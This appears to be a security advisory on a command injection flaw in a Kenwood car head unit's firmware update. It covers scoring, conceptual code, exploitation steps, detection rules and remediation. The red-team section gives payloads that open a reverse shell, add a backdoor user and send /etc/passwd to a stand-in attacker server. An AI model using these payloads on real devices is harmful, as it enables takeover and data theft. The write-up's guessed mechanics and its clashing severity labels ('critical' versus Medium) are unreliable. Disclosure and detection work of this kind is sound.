CVE-2025-8647

Executive Summary

CVE-2025-8647 is a critical command injection vulnerability in the firmware update process of Kenwood DMX958XR devices. The flaw allows a physically present attacker to execute arbitrary code with root privileges without requiring authentication. The vulnerability stems from improper validation of user-supplied strings before they are used in system calls during firmware updates. With a CVSS score of 6.8 (Medium), this vulnerability poses a significant risk to device integrity and confidentiality, especially in environments where physical access is possible. No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 6.8 (Medium)
• Attack Vector: Physical (AV:P) – Requires physical access to the device.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the device.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – Device can be fully compromised.
• Availability Impact: High (A:H) – Device can be rendered inoperable.

Threat Level: Medium. Physical access requirement reduces exploitability, but impact is severe.

Deep Dive & Mechanics

The vulnerability exists in the firmware update mechanism of the Kenwood DMX958XR head unit. During the update process, the device accepts a user-supplied string (likely a filename, path, or parameter) without proper sanitization. This string is then passed to a system call (e.g., system(), exec(), or similar) that executes commands in the underlying operating system. An attacker can inject arbitrary commands by including shell metacharacters (e.g., ;, |, &&, `) in the input.

Root Cause: Lack of input validation and failure to use safe APIs (e.g., execve() with argument arrays) instead of shell-based command execution.

Attack Scenario:

1. Attacker gains physical access to the device (e.g., via USB, SD card, or diagnostic port).
2. Attacker initiates a firmware update process.
3. Attacker provides a maliciously crafted filename or parameter containing command injection payloads.
4. The device executes the injected commands with root privileges, allowing code execution, data exfiltration, or persistent backdoor installation.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void update_firmware(char *user_input) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "firmware_update_tool %s", user_input);
    system(cmd);  // Vulnerable: user_input not sanitized
}

Patched Code (Conceptual):

void update_firmware(char *user_input) {
    // Validate input: allow only alphanumeric, dots, underscores, and hyphens
    if (!is_valid_filename(user_input)) {
        log_error("Invalid input");
        return;
    }
    // Use execve with argument array to avoid shell injection
    char *args[] = {"firmware_update_tool", user_input, NULL};
    execve("/usr/bin/firmware_update_tool", args, NULL);
}

Key Differences:

• Input validation restricts allowed characters.
• Use of execve() instead of system() prevents shell interpretation.
• Proper error handling and logging.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Physical access to Kenwood DMX958XR device.
• USB drive or SD card for firmware update.
• Basic understanding of command injection.

Exploitation Steps:

1. Prepare a malicious firmware update file (e.g., update.img).
2. Create a file with a payload in the filename:

   touch 'update.img; nc -e /bin/sh attacker_ip 4444'
   

3. Insert the USB drive into the device.
4. Navigate to firmware update menu and select the malicious file.
5. The device executes the injected command, spawning a reverse shell.

Payload Examples:

• Reverse shell: ; nc -e /bin/sh 192.168.1.100 4444 #
• Backdoor user: ; useradd -m -G sudo attacker; echo 'attacker:pass' | chpasswd #
• Data exfiltration: ; curl -X POST -d @/etc/passwd http://attacker_server/ #

Blue Team (Defense & Detection)

Detection Strategies:

• Monitor firmware update logs for unusual filenames or parameters.
• Implement file integrity monitoring (FIM) on firmware update directories.
• Use host-based intrusion detection (HIDS) to detect shell command execution from update processes.

Mitigation Steps:

• Restrict physical access to devices.
• Disable firmware update from untrusted media.
• Apply input validation and use safe APIs in firmware update code.
• Monitor network traffic for reverse shells or data exfiltration.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Filenames containing shell metacharacters (e.g., ;, |, &&).
• Unexpected files in /tmp or firmware update directories.
• Modified system binaries (e.g., /bin/sh replaced).

Network IOCs:

• Outbound connections to unknown IPs on high ports (e.g., 4444, 1337).
• DNS queries to suspicious domains.
• Unusual HTTP POST requests with system files.

Process IOCs:

• nc, bash, python spawned from firmware update processes.
• Unexpected child processes of firmware_update_tool.

Detection Engineering

YARA Rule

rule CVE_2025_8647_Kenwood_Firmware_Injection {
    meta:
        description = "Detects command injection attempts in Kenwood DMX958XR firmware update filenames"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8647"
    strings:
        $cmd_inject1 = /[;|&`$(){}]/
        $cmd_inject2 = /(nc|bash|python|perl|wget|curl)\s/
        $cmd_inject3 = /(exec|system|popen|shell_exec)/
    condition:
        any of ($cmd_inject*) and filesize < 10MB
}

Sigma Rule

title: Kenwood DMX958XR Firmware Command Injection Attempt
id: 7a3b9c1d-2e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects command injection attempts in firmware update filenames on Kenwood DMX958XR devices
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/firmware_update_tool'
        CommandLine|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate firmware filenames with special characters (rare)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-8647 Kenwood Firmware Command Injection Attempt"; flow:to_server; content:"firmware_update_tool"; nocase; content:"|3B|"; distance:0; within:100; content:"|7C|"; distance:0; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict physical access to Kenwood DMX958XR devices.
2. Disable firmware update from USB/SD card if not required.
3. Monitor logs for suspicious filenames or command execution.

Long-Term Fixes:

• Apply vendor patch when available (currently UNKNOWN).
• Implement input validation and safe API usage in firmware update code.
• Use signed firmware updates to prevent tampering.

Workarounds:

• Use network-based firmware updates with authentication.
• Enable device logging and alerting for firmware update events.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert